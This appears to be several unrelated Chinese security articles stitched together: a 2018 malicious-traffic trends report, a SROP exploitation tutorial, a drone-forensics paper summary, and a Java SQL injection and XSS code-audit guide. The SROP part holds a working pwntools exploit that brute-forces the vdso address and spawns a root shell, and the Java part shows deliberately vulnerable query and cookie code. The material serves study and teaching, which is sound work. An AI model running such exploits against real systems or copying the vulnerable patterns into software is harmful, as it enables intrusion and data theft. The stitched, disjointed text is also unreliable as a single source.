订阅爬虫不同，恶意爬虫通过分析并构造参数对公开或非公开接口进行大量数据爬取或提交，获取对方本不愿意被大量获取的数据，并造成对方服务器性能损耗。爬虫工程师和反爬虫工程师的交锋，是互联网上的一大战场。
本系列报告有一篇专门讲述，详见《2018上半年互联网恶意爬虫分析：从全景视角看爬虫与反爬虫》[4]。
### 三、十个结论
通过对恶意流量数据进行详细分析，云鼎实验室对监测到的恶意流量所反映出的一些互联网安全趋势进行了总结：
**1\. 「永恒之蓝」依然肆虐严重**
由于美国国家安全局（NSA）掌握的网络武器「永恒之蓝」漏洞在2017年4月被某黑客组织获取并泄漏，导致利用该漏洞的恶意程序在网络上肆虐，其中最典型的正是令人闻之色变的勒索病毒。经统计，在2018上半年基于「永恒之蓝」的攻击尝试超过漏洞攻击总量的30%以上。
**2\. 挖矿成为自动化入侵的主要目的**
早期，黑客拿到普通服务器权限后主要以 DDoS
为变现途径，但近年来数字货币大热后，用服务器挖矿成为黑客入侵变现的主要途径。这种无差别变现方式的兴起，导致自动化入侵攻击越发猖獗。
**3\. 反射放大类 DDoS 攻击成为主流**
自从各种反射放大类 DDoS
攻击方法被研究出来，普通肉鸡服务器早已满足不了黑客的「打击欲」，各种将攻击放大几百倍乃至数万倍的攻击手法层出不穷，无论是从流量规模还是伤害大小来看，反射放大类攻击已成为
DDoS 主流。
**4\. 黑灰产间互相攻击依然激烈**
有人的地方就有江湖，黑灰产则是互联网江湖水最浑的领域，而黑灰产内部为了利益也是不断乱斗，其中不择手段之处更甚于正规商业江湖。
**5\. 黑色产业链已实现资源平台化**
相对早期黑客的单打独斗，如今互联网黑色产业更像一个航母战斗群，各种外部资源如手机号、邮箱号、IP
资源、过验证码服务，都已经形成规模化平台，犹如航母战斗群里的护卫舰、补给舰，使得黑客只要专注最核心的技术实现，就可以快速整合资源对各公司造成危害。
**6\. 各厂对新注册帐号应保持谨慎**
通过自动化运营大量小号，利用「长尾效应」获取利益的模式（小额度大基数），已成为黑客获利的主流。很多时候，各厂对大量新增用户的欣喜，背面却是大量对抗成本的付出。
**7\. 撞库攻击成为帐号类攻击主流**
由于网民安全意识的不足，习惯在多个网站使用相同帐号密码，以及众多网站用户密码的泄漏，导致撞库攻击异常泛滥。这早已替代传统的盗号木马成为主流的盗号攻击模式。各厂商应加强登录接口的监管，尤其是边缘业务使用登录接口的审核。
**8\. 游戏行业是黑客攻击第一大目标**
由于游戏行业拥有可观的资金，庞大的用户量，以及便捷的虚拟物品变现渠道，故而一直是黑客最青睐的行业，该行业拥有渗透最广泛的黑色产业链，没有之一。
**9\. 热门行业虚假繁荣状况依然严峻**
互联网创投热点的领域几乎都是黑灰产关注的领域，从团购到共享单车，从自媒体到直播，无不存在大量虚拟小号炒作出来的热度。君不见，从微博千万大V到抖音全民网红，从公众号10w+阅读量到电视剧数亿播放量，其中有多少真实、多少虚幻，恐怕谁也说不清楚。
**10\. 恶意爬虫渗透到生活方方面面**
前不久，我们发布了互联网恶意爬虫分析报告，报告显示，每天至少数十亿的爬虫在互联网上孜孜不倦地工作，影响着我们生活的各个方面，从火车抢票到医院挂号，从热点炒作到信息泄漏……无不有汹涌的黑客在蚕食其中的利益。
### 四、部分详细数据剖析
#### 1\. 端口扫描
**1）TCP 扫描**
此处，我们列举了近期 TCP 端口被扫描情况，相关端口涉及的具体业务如下：
（TCP 被扫描端口涉及环境或协议1）
从 TCP 扫描情况来看，针对 Windows SMB 协议的攻击依然最大量，远超其他类型。从请求数据来看，大部分是基于 NSA
泄漏的「永恒之蓝」漏洞在进行自动化攻击。
其他端口都比较常规，但在后面的长尾数据中我们发现了大量对非常规端口的扫描行为，例如：
（TCP 被扫描端口涉及环境或协议2）
这个列表还能列很长，千万不要以为自己的服务器不会被人注意到，每天有大量黑客在通过自动化扫描器在寻找攻破你服务器的机会。
**2）UDP 扫描**
相关端口涉及的具体业务如下：
（UDP 被扫描端口涉及环境或协议）
对 UDP 端口的扫描行为绝大多数都是为了搜索 DDoS 攻击资源，由于许多对外的 UDP 类服务都被发现可以用来做 DDoS
反射放大攻击，因此寻找此类服务器成为黑产一大行为。另外，53413端口的 Netcore 路由器后门漏洞依然利用十分猖獗。
根据我们的统计数据，在网络上， **平均每台机器每天要遭受数万到数十万次的扫描。**
想象一下，每天有一火车站那么多的人偷偷瞄你家窗户看里面有什么好东西，你还不重视服务器安全么。
#### 2\. CC 攻击
源于黑灰产的暴利，黑灰产间互相攻击一直是恶意攻击的很大一部分，除了使用 DDoS 攻击外，CC
攻击由于简单实用，也是黑灰产间互相攻击的主要方式之一。上图可见，超过一半的 CC
攻击流量都是黑灰产之间互相攻击，剩下的也部分由于网站直接打挂了或转移了无法统计。
由于黑灰产服务器、域名变换频繁，多是垃圾域名，服务器也多在海外，互相攻击不影响大公司，此类攻击也一直游离于三不管的灰色地带，仅在他们对主流互联网公司造成影响的的时候才为人们所知。其中最受关注的一次是2009年由于游戏私服火拼导致的「六省断网」事件[5]。
#### 3\. 恶意注册
各类帐号可以说是黑灰色产业的基石，下图简单绘制了这个产业链的流程，而实际上该链条上的每一个群体，都还有更小的产业链在支撑其业务。
产业链的模式极大地简化了黑色产业的入行门槛，例如帐号注册人需要注册对应网站的帐号，可以直接购买更基础的服务，例如已注册好的邮箱帐号密码或手机接收验证码服务，再配上自动化工具和相关
IP 资源，一个毫不懂技术的「黑客」就可以直接开始他的业务了。
如下图为例，是某邮箱注册商的自动销售页面，可以精准购买用于注册不同网站帐号的邮箱（由于一个邮箱可以注册多个网站，故可针对不同网站重复售卖）。
（某邮箱注册商的销售页面）
#### 4\. 帐号扫描
帐号扫描指判断某帐户是否已在该网站注册，扫描方法通常有以下几种方式：
* 从帐户注册接口的返回信息判断
* 从帐户登录接口的返回信息判断
* 从找回密码接口的返回信息判断
而帐号扫描在攻击链中的作用通常有以下几种：
* 判断该帐号是否可注册，若可以，则进行恶意注册。
* 判断该帐号是否已存在，若存在，则进行撞库攻击。
* 判断该帐号是否已存在，若存在，抓取相关信息收录到社工库用户画像。
根据捕获到的攻击数据，帐号扫描类攻击在各行业所占比重如下：
可以看到，针对邮箱和游戏两大行业的帐号扫描行为占据了绝大多数，超过总量的90%。究其原因，因为邮箱和手机号是黑灰产的最底层基础设施，而且相对手机号，邮箱的获取成本又低得多。因此，大量注册邮箱号是极其刚需的，注册之前先判断一下随机生成的用户名是否可用，也是增加效率必要的操作。故而针对邮箱进行的帐号扫描占据接近六成的攻击量。
而第二大领域游戏行业，这是撞库攻击的重灾区，因为游戏业庞大的现金流，以及游戏道具或者金币盗取后可以方便变现。因此，针对游戏业的帐户攻击占比，是非常可观的。
#### 5\. 撞库攻击
继续看帐号扫描的下级攻击流程——撞库攻击。
云鼎实验室监测数据显示，在2018上半年，游戏行业占据了撞库攻击超过七成的份额。排除掉邮箱注册类，帐号扫描和撞库攻击在各个行业的占比基本相符，间接说明帐号扫描和撞库攻击是同一个攻击链上的行为。
#### 6\. 流量欺诈
云鼎实验室上半年恶意流量监测数据显示，在流量欺诈方面，刷热度占据最大的比例，超过七成；基于 AppStore 和各个手机厂商 Android
软件市场的刷榜占据第二；其次是对网络广告的假点击方面，由于国内 CPC（点击付费）类广告相对较少，这块主要集中在海外。
展开占比最大的「刷热度」部分数据，可以看到，由于近两年直播、短视频相关 APP
的高速发展，包括传统的视频播放类网站，视频类刷热度直接占据了相关数据欺诈领域的 TOP 3。排在之后的是相对传统的如公众号、微博等领域。
可见，平时媒体热衷的各种「十万阅读」、「百万点赞」、「千万网红」、「亿次播放」等等数据，其实到底有多少是真实的，怕是厂商也说不出个所以然。
#### 7\. 其他
其他详细数据可参见本系列其他报告，本篇不进行罗列，详见下方部分参考资料链接。
### 五、写在最后
作为一个专注安全多年的少年，对种种技术的研究我都能保持着少年之心，好奇地看着这个世界的未知。但研究恶意流量的感觉却全然不同，看着亲手捕获的种种攻击行为，当无数的贪婪、痴念和焦虑毫无顾忌地展示在眼前，让人莫名有了种「少年子弟江湖老」的情愫。我们努力揭示这一切，也并不觉得能改变多少局面，只是觉得，不能把心中的美好轻易让出去。
### 参考资料
[1] <https://resources.distilnetworks.com/whitepapers/2018-bad-bot-report>=
[2] <https://mp.weixin.qq.com/s/uFaiXpYJigilckNSDPfpZw>
[3] <https://mp.weixin.qq.com/s/EqIuxDHnWnwDvMGqOOVJww>
[4] <https://mp.weixin.qq.com/s/-NRqdU-P6jkQvItfyXHjpg>
[5] <http://tech.qq.com/zt/2009/duanwang/>
腾讯安全云鼎实验室关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。
* * * | 社区文章 |
# 【技术分享】Sigreturn Oriented Programming攻击简介
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[放荡不羁的娃](http://bobao.360.cn/member/contribute?uid=1353201958)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
这段时间看linux kernel的信号处理时突然想到了一种利用方法——SROP(Sigreturn Oriented
Programming)。记得去年在某个博客上看到过这方面的pwn题，所以我就干脆就去认真研究了一下。
**Theory**
在开始介绍这个利用方法前，我首先介绍一下linux的信号处理。毕竟SROP是以这个为基础的。
Linux接受到信号后的处理过程大致如下：
首先，当由中断或异常产生时，会发出一个信号，然后会送给相关进程，此时系统切换到内核模式。再次返回到用户模式前，内核会执行do_signal()函数，最终会调用setup_frame()函数来设置用户栈。setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同)，另外还会push一个signal
function的返回地址——sigruturn()的地址。
对x86来说，此数据结构为sigcontext。其定义如下:
struct sigcontext {
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
对x86_64来说，push到栈中的是ucontext结构体。其定义如下：
struct ucontext {
unsigned long uc_flags;
struct ucontext *uc_link;
stack_t uc_stack;
mcontext_t uc_mcontext; /*sigcontext for x86_64*/
__sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
}；
struct sigcontext {
unsigned long r8;
unsigned long r9;
unsigned long r10;
unsigned long r11;
unsigned long r12;
unsigned long r13;
unsigned long r14;
unsigned long r15;
unsigned long rdi;
unsigned long rsi;
unsigned long rbp;
unsigned long rbx;
unsigned long rdx;
unsigned long rax;
unsigned long rcx;
unsigned long rsp;
unsigned long rip;
unsigned long eflags; /* RFLAGS */
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
unsigned long err;
unsigned long trapno;
unsigned long oldmask;
unsigned long cr2;
struct _fpstate *fpstate; /* zero when no FPU context */
unsigned long reserved1[8];
};
当这些准备工作完成后，就开始执行由用户指定的signal
function了。当执行完后，因为返回地址被设置为sigreturn()系统调用的地址了，所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后，程序恢复执行。
关于sigreturn的系统调用：
/*for x86*/
mov eax,0x77
int 80h
/*for x86_64*/
mov rax,0xf
syscall
**Exploit**
了解了linux的信号处理过程后，我们可以利用sigreturn来做出自己想要的系统调用。不过也是有条件的，但是个人觉得条件还是不难满足的。基本上只要有个栈溢出(没开canary)在大部分条件下就能实现这个利用。而利用过程也相对比较简单。
1\.
伪造sigcontext结构，push到栈中。伪造过程中需要将eax，ebx，ecx等参数寄存器设置为相关值，eip设置为syscall的地址。并且需要注意的是esp，ebp和es，gs等段寄存器不可直接设置为0，经过个人测试，这样不会成功。
2\. 然后将返回地址设置为sigreturn的地址(或者相关gadget)。
3\. 最后当sigreturn系统调用执行完后，就直接执行你的系统调用了。
| sig_ret| <---esp
|--------|
| |
| frame |
|--------|
——————————
利用过程比较麻烦的一点是找sigreturn的地址(或gadget)。对于x86来说，vdso(vitual dynamic shared
object)会有sigreturn的地址，而且vdso的地址可以很容易爆破得到。因为即使对开了ASLR的linux来说，其地址也只有一个字节是随机的。
gdb-peda$ x/3i 0xf7fdb411
0xf7fdb411 <__kernel_sigreturn+1>: mov eax,0x77
0xf7fdb416 <__kernel_sigreturn+6>: int 0x80
0xf7fdb418 <__kernel_sigreturn+8>: nop
但是对x64来说，爆破vdso就比较难了。原来只有11bit是随记的，但我在我的linux上测试好像有22位是随机的了，爆破也就几小时而已(个人亲测)，还是能爆出来的。关于64位的爆破，可参考[Return
to VDSO using ELF Auxiliary
Vectors](http://v0ids3curity.blogspot.in/2014/12/return-to-vdso-using-elf-auxiliary.html)。
我们还有一种方法能找到vdso的地址——ELF Auxiliary vector。
gdb-peda$ info auxv
33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x7ffff7ffa000 <--address of vdso
16 AT_HWCAP Machine-dependent CPU capability hints 0xfabfbff
6 AT_PAGESZ System page size 4096
17 AT_CLKTCK Frequency of times() 100
3 AT_PHDR Program headers for program 0x400040
4 AT_PHENT Size of program header entry 56
5 AT_PHNUM Number of program headers 9
7 AT_BASE Base address of interpreter 0x7ffff7dda000
8 AT_FLAGS Flags 0x0
9 AT_ENTRY Entry point of program 0x400500
11 AT_UID Real user ID 0
12 AT_EUID Effective user ID 0
13 AT_GID Real group ID 0
14 AT_EGID Effective group ID 0
23 AT_SECURE Boolean, was exec setuid-like? 0
25 AT_RANDOM Address of 16 random bytes 0x7fffffffe789
31 AT_EXECFN File name of executable 0x7fffffffefdb "/home/wolzhang/Desktop/a.out"
15 AT_PLATFORM String identifying platform 0x7fffffffe799 "x86_64"
0 AT_NULL End of vector 0x0
AT_SYSINFO_EHDR就是vdso的地址，如果存在printf格式化漏洞，那么我们可以泄露此值。
另一种方法是我们可以用ROP制造一个sigreturn，只需要找到一个syscall和ret的地址就行。幸运的是在x64上很容易找到：因为有vsyscall。而且vsyscall的地址是固定的：0xffffffffff600000。
gdb-peda$ x/3i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret
**Example**
我写了个demo来测试一下(based on x86)。比较简单。
#include <stdio.h>
#include <unistd.h>
char buf[10] = "/bin/shx00";
int main()
{
char s[0x100];
puts("input something you want: ");
read(0, s, 0x400);
return 0;
}
以下是我的利用脚本：
from pwn import *
import random
binsh_addr = 0x804a024
bss_addr = 0x804a02e
vdso_range = range(0xf7700000, 0xf7800000, 0x1000)
def main():
global p
debug = 1
if debug:
#context.level_log = "debug"
context.arch = "i386"
p = process('./srop_test')
else:
pass
global vdso_addr
vdso_addr = random.choice(vdso_range)
payload = 'a' * 0x10c
frame = SigreturnFrame(kernel = "i386")
frame.eax = 0xb
frame.ebx = binsh_addr
frame.ecx = 0
frame.edx = 0
frame.eip = vdso_addr + 0x416 #address of int 80h
frame.esp = bss_addr
frame.ebp = bss_addr
frame.gs = 0x63
frame.cs = 0x23
frame.es = 0x2b
frame.ds = 0x2b
frame.ss = 0x2b
ret_addr = vdso_addr + 0x411 #address of sigreturn syscall
#print payload
payload += p32(ret_addr) + str(frame)
p.recvuntil("input something you want: n")
p.sendline(payload)
sleep(1)
p.sendline("echo pwned!")
r = p.recvuntil("pwned!")
if r != "pwned!":
raise Exception("Failed!")
return
if __name__ == "__main__":
global p, vdso_addr
i = 1
while True:
print "nTry %d" % i
try:
main()
except Exception as e:
#print e
p.close()
i += 1
continue
print "vdso_addr: " + hex(vdso_addr)
p.interactive()
break
因为32位的vdso几分钟就能爆破成功，很容易得到一个shell。
......
Try 165
[+] Starting local process './srop_test': Done
vdso_addr: 0xf7734000
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$
个人觉得这种方法比一般的rop还是好用多了。一般rop还得泄露libc，但是srop没有这么多限制。在条件允许时，个人倾向于用srop。
**Reference**
[Sigreturn Oriented
Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori)
[关于ELF的辅助向量](http://www.tuicool.com/articles/MNRJVj)
[Sigreturn Oriented Programming is a real
Threat](http://subs.emis.de/LNI/Proceedings/Proceedings259/2077.pdf) | 社区文章 |
# 无人机中断的拒绝服务攻击（3DOS）
|
##### 译文声明
本文是翻译文章，文章原作者 Fahad E Salamh，Umit Karabiyik，Marcus Rogers，Fawaz Al-Hazemi
原文地址：<https://ieeexplore.ieee.org/abstract/document/8766538/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Absert
根据美国联邦航空管理局（FAA）的说法，在不久的将来，远程遥控飞行器系统（RPAS，Remotely Piloted Aerial
Systems，俗称无人机）的数量将迅速增加。无人机的挑战不仅集中在这些设备的安全性上，而且还集中在无人机的犯罪用途上。研究者尚未充分处理此类事件的应急响应和分析取证。本文重点关注与无人机有关的网络犯罪的事件响应以及一些可能的反和取证技术，这些技术可用于更改与无人机相关的数字证据。
## 0x02 UAV regulations
自从RPAS发明以来，联邦航空局（FAA）颁布了许多与无人机操作有关的法规。根据美国联邦航空局的说法，截至目前大约有41个州制定了无人机法规，结果是对空中活动施加了越来越严格的限制，以避免发生对关键基础设施的事故，这包括诸如限制在机场5英里半径内飞行无人驾驶飞机的规定。
此外，商业无人机飞行员能够修改无人机上的数字证据。例如，用户修改飞行日志对数字取证造成了挑战。因此，调查不同无人机的存储机制将有助于恢复可采的证据。另一方面，普渡大学（Purdue
University）在2017年发布的指南限制了无人机在其所有校园的运行，理由是必须遵守FAA法规。除规定外，根据印第安纳州法律第35-46-8.5-1条，无人机故意不当地使用图像捕获或视频记录将被视为A级轻罪。
上图说明了报告给英国Airprox理事会的无人机事故的统计分析。在过去三年中，总共报告了385起事件，包括模型飞机，气球，无人驾驶飞机和不明物体。在报告的事件中，约有83％是与无人机相关的事件。这突出显示了需要重点关注安全和控制措施，以确保关键基础设施的安全，特别是在机场。
法律和法规可能无法提供行为分析的有效手段，以更好地研究类似于3DOS（Drone Disrupted Denial of Service
Attack）事件的事件背后的犯罪行为。研究人员声称，针对全球不同类型的关键基础设施，都已发生无人机事件。
例如，分析无人机黑盒的可用性和能力将提高无人机总体风险评估计划。因此，本文着重于调整数字取证程序，以通过解释数字取证分析来增强无人机事件响应计划。美国联邦航空局已根据两种无人机系统更新了其无人机系统（UAS，Unmanned
Aerial Systems）要求，第336节(Section 336)涉及无人机的业余爱好或娱乐性用途，第107部分（part
107）涉及娱乐性或商业用途。
本文的分析不仅仅依赖媒体文件。但是，涉及数字取证调查时，媒体文件中的元数据包含有价值的证据。有些案件最终将被罚款，另一些案件可能需要进一步调查，这需要分析取证师报告并证明证据可受理。
## 0x03 Drone Forensic and Incident Response (DFIR) Plan
增强应急响应计划对新兴技术的适用性是至关重要的一步，专注于将传统的应急响应计划转变为DFIR计划。应急响应计划通常从“准备”阶段开始，以“经验总结”结束。但是DFIR计划，该计划直接使用无人机处理空中事件。取证对先前的无人机事件做出反应以确定与此类事件相关的某些行为因素非常重要。此外，这将增强DFIR模型，以降低与无人机事故相关的复杂程度。
上图说明了DFIR计划的各个阶段，该阶段从对先前事件进行数字取证分析之后的“经验总结”阶段开始。在应对非传统数字风险时至关重要。无人机被认为是对国家安全的威胁，无人机造成的威胁数量正在迅速增长。
“分析和检测”阶段可以加强事件响应的整体管理。然后，计划可以前进到“报告”，“准备”和“预防”阶段，在此阶段可以启动进一步的法规和对策技术。此外，建议在“报告”之后进行“准备”阶段，因为正在构建计划关于“经验总结”，“分析和检测”将提高“对新事件的准备”的准确率，并提供更多发现预防技术的方法。
另一方面提出了一种无人驾驶飞机区域取证的框架，如下图所示。可以通过报告一个禁飞区域事件的问题来增强技术框架，并且展示了一个案例，建议取证调查人员应该对无人机媒体存储进行分析。如果这不成功，那么建议继续进行无人机控制器的取证。
提议的法证分析的方法论包括两种技术方法。，包括使用DNZF工具分析媒体文件GPS元数据，和用DRZF工具分析CSV
GPS日志。本文提供的工具显示了对CSV文件的分析，该文件包含飞行日志并提供有关是否找到任何禁飞区GPS坐标。此外演示了从媒体文件解析GPS元数据。
## 0x04 Methodology
RPAS的成本很高，尤其是在测试多个无人机系统时。本节研究三种类型的RPAS，包括大疆 精灵 4（DJI Phantom 4），大疆”御”Mavic
Pro（DJI Mavic Pro）和昊翔 台风 H（Yuneec Typhoon
H）。所有这些无人机都被归类为商用无人机。之所以选择这些型号，是因为它们是当今市场上三款最先进，功能最强大的无人机。此外，还对上述三种类型的飞行日志存储进行了分析，并测试了它们的压缩和加密级别。另外举例说明了可能的反取证技术，这些技术可能会导致数字证据的修改，从而导致案件不可受理。
因此，对于商业RPAS加密存储的飞行日志非常重要。数字取证调查人员需要了解无人机和逆向工程技术中使用的不同加密机制。原因之一是要确保数字证据没有被更改或破坏，这也取决于加密方案的复杂程度。
另一方面，大多数无人机都存储飞行日志和飞行活动的记录，这意味着飞行活动以明文形式存储并可供无人机飞行员使用。但是，大多数流行的无人机都使用加密机制来存储飞行日志。例如，DJI
Phantom 4和DJI Mavic Pro会以带有二进制事件日志的编码数据格式存储飞行日志。有一些开源工具可以解密这些“
.DAT”文件的内容，例如DROP和DatCon。
此外，飞行日志中包含有价值的信息，这些信息可解释整个飞行状态，而飞行记录中包含的信息则很少，并且容易被更改，这可能会导致证据不足。但是，以不同格式存储的飞行记录可以与媒体文件中的元数据一起用于取证验证。飞行日志存储在不同的位置，具体取决于使用的机制。
例如，DJI Phantom 4和Mavic Pro将加密的飞行日志存储在无人机的内部SD卡上，而Typhoon
H无人机则将它们存储在控制器芯片上。因此，对媒体存储和无人机控制器的研究将在无人机取证中发挥重要作用。
为了遵守FAA无人驾驶区域，将开发一种能够提供可接受的数字证据的工具。无人机最重要的证据是解释飞行活动的飞行日志。除非图像和视频包含与事件相关的有价值的元数据，否则不认为它们是可接受的数字证据。因此，在这种情况下，GPS元数据和时间戳是宝贵的调查资源，可能会促成数字取证分析师的报告。
## 0x05 Drone Storage Encryption Apparatus
在研究过程中，检查了上述三架无人机的几个加密飞行日志。可以通过遵循Shannon的熵模型来分析编码和压缩的度量。测试了DJI Phantom 4
Pro，DJI Mavic Pro和Yuneec Typhoon
H中发现的飞行日志的加密级别。结果如下面三图所示，其中X轴表示熵级别，Y轴表示熵级别。轴代表偏移量块。
DJI Mavic Pro飞行日志的熵评估
DJI Phantom 4Pro飞行日志的熵评估
Yuneec Typhoon H航空日志的熵评估
与这些二进制文件的解压缩过程相比，可以看到它们在加密飞行日志时使用了不同的技术。但是如图显示，Typhoon
H仅处理了一个要记录的飞行日志文件。经过进一步分析，发现Yuneec Typhoon
H的加密机制无法正常工作，尤其是在主动飞行模式下，这可能导致容易修改和可能的进一步数据定制。
此外，编码的飞行日志位于未加密的飞行日志下，其中包含地面数据。此外，DJI Phantom 4 Pro和Mavic
Pro飞行日志会压缩与与无人机黑盒子对齐的配置文件。这些图形分析说明了压缩数据在加密信息上的变化，显示了一条高熵的扁平线，大约为0.61，而熵为0.95。
飞行日志的复杂加密将有助于减少正在调整的数据的更改，尤其是对无人机黑盒子（又称飞行日志）进行了最新的可配置添加后。
DJI的更新固件更新了存储无人机心跳（heart
beat.）的机制。解密DJI飞行日志后，注意到大约有1600个条目。其中包括大量记录，例如旅行距离；飞行时间（以毫秒为单位）；连接控制器的类型；和其他未知功能。以取证方式解释此信息将有助于调查无人机事件。
## 0x06 No-Fly Zone Case Scenario
取证工具的开发有助于应对新兴技术带来的挑战，以改善对复杂事件的检测和分析。这项工作还专注于对禁飞区事件或违规行为的分析和报告，该工具并非旨在阻止该问题。但是确实提高了对分析技术的理解水平，并就不同的无人机取证方法对人们进行了培训。分析媒体存储可以报告有用的发现。但是并非所有无人机都如此。
某些无人机在任何记录的媒体文件中都没有GPS元数据，因此提供了两个分析选项：媒体文件分析或飞行日志分析。现在描述DRZF工具初始版本的设计和功能，在本研究中以机场为例。为了进行研究，用台风H型无人机拍摄的真实视频替换了禁飞区的GPS坐标，以测试工具。无人机限制区飞行工具的禁飞区GPS坐标的三个主要类别如下：
•机场5英里范围内的GPS坐标
•美国国家公园的GPS坐标
•美军的GPS坐标
已经从DJI Phantom 4中以“ MP4”格式导出了媒体文件，并按照上图所示的过程进行了处理。如下图所示，将“
MP4”文件上传到DRZF工具后，如下图启用了哈希功能确保正在分析正确的文件。
分析过程从计算文件的哈希值开始，然后如下图所示分析媒体文件内部的任何GPS元数据，以便能够在地图上显示它。同时，在过程完成时正在播放视频。该工具分析的最重要工作是报告与禁飞区相关的所有GPS坐标。
此外，为进行本研究的POC，从Typhoon H型无人机导出了另一个“ MP4”文件，并使用“ Exiftool”添加了以下GPS坐标“
longtitude = 41.860864363984724”“ latitude = -79.499679775281294”，如下图所示。
选定的GPS坐标是从该工作中使用的数据集中获取的，靠近“宾夕法尼亚州，皮茨菲尔德市，布罗克斯特劳机场”的限制飞行区域。下图显示了在编辑过的Typhoon
H无人机的“ MP4”上运行DRFZ工具后的结果。
## 0x07 Literature Review
一则新闻报道称，数百人违反了联邦航空局在气球嘉年华公园的无人机限制。空中装甲行动（AAO，Aerial Armor’s Operation）使用DJI
Aeroscope系统通过监视射频（RF）信号来检测无人机传感器。这项检测技术可以监控11英里外飞行的无人机，并能够发现无人机操作员的返航点。
据AAO报道，已经发现200多架无人机跨越了无人驾驶区（NDZ，No Drone
Zone）。此数量强烈表明，取证过程需要自动方法来检测NDZ中发生的任何飞行活动。一些制造商添加了可配置的解决方案，以限制NDZ中的飞行。但是，无人机飞行员仍然可以使用第三方软件在NDZ上飞行无人机。此外，一些违反美国联邦航空局规定的空中事件最终被罚款。但是，如果这些相关违法行为与犯罪行为同时发生，将导致刑事诉讼，并且需要进行数字分析调查。
最近的一项工作发现了DJI Phantom
3中发现的飞行日志的加密和解密方法，以及用于恢复该特定类型飞行日志的逆向工程技术。飞行日志与飞行活动不同，特别是在对媒体文件进行取证分析时。研究人员开发了一种开源工具DROP来解密DJI无人机中发现的飞行日志。但是，根据无人机的类型/型号，加密机制和飞行日志的存储会有所不同。
还有一种无人机取证框架，可以协助对无人机进行取证研究。该框架说明了调查无人机存储卡中找到的媒体文件的重要性，一些调查决定（如飞行日志的加密）以及无人机组件的可用性的重要性。此外无人机黑盒子包含了可以解释飞行活动的宝贵信息。因此飞行日志是无人机取证的重要方面。
在另一项最近的工作中已经分析了无人机系统并讨论了基于无人机分类的取证分析的差异。作者发现观察到的无人机之间存在不同的获取方法。例如，通过SSH协议访问了Parrot
AR无人机，以分析该无人机的文件系统并解析相关的数字证据。同时，研究人员在无人机存储介质设备上进行了静态取证，并提出了数字证据分类，他们表示，无人机取证的全部分析的一半内容可以在无人机的存储中找到。而且，大约四分之一的数字证据可以通过无人机的存储卡进行调查。因此由于文件系统和软件的不同，对无人机取证的理解需要更深入的研究。
## 0x08 Conclution
本文还重新审视了旨在限制关键基础设施区域中无人机操作的法规。通过使用无人机取证工具探索案例研究来评估无人机应急响应，说明从媒体文件和飞行日志中获取GPS元数据，以协助应急响应和数字取证调查人员分析非法飞行活动的有效性。
此外，使用建议的工具对展示为在受限区域中飞行的案例进行了研究以验证该工具。对于将来的工作。其他相关功能，例如自动解释无人机黑盒子，将作为未来的研究目标，本文还旨在扩大无人机事故响应计划，使其包括事故前和事故后措施。 | 社区文章 |
## SQL注入
漏洞示例代码（代码上下文就不展示了，只看查询数据库操作的类）
public String jdbc_sqli_vul(@RequestParam("username") String username) {
StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
System.out.println("Connect to database successfully.");
// sqli vuln code
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
logger.info(sql);
ResultSet rs = statement.executeQuery(sql);
while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();
} catch (ClassNotFoundException e) {
logger.error("Sorry,can`t find the Driver!");
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}
直接看sql语句
`String sql = "select * from users where username = '" + username + "'";`
没有做任何的过滤就只是吧username拼接了一下，一定存在SQL注入的，简单测试一下
### Security code
预防的方法是 加上预处理方法 防止sql注入
重复代码就不看了 直接看预处理部分
...
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);
logger.info(st.toString()); // sql after prepare statement
ResultSet rs = st.executeQuery();
...
在sql语句的构造中 直接加上一个问号当作占位符。`st.setString(1, username);`将占位符替换为我们传入的值 然后执行sql语句
### 错误使用案例
#### Demo
相同代码不再展示
......
String sql = "select * from users where username = '" + username + "'";
PreparedStatement st = con.prepareStatement(sql);
......
虽然使用了预处理 但是没有使用占位符 我们依旧可以在username处 传入sql语句 达到我们的目的
#### ofcms 后台SQL注入
漏洞位置：
`ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java`
跟踪Db.update函数
继续跟踪 _MAIN_.update
一直跟踪update到如下的方法
可以看到这里对sql没有进行任何的过滤
所以可以直接导致sql注入
## XSS
### Demo
public static String reflect(String xss) {
return xss;
}
//反射型XSS
public String store(String xss, HttpServletResponse response) {
Cookie cookie = new Cookie("xss", xss);
response.addCookie(cookie);
return "Set param into cookie";
}
//存储型XSS
public String show(@CookieValue("xss") String xss) {
return xss;
}
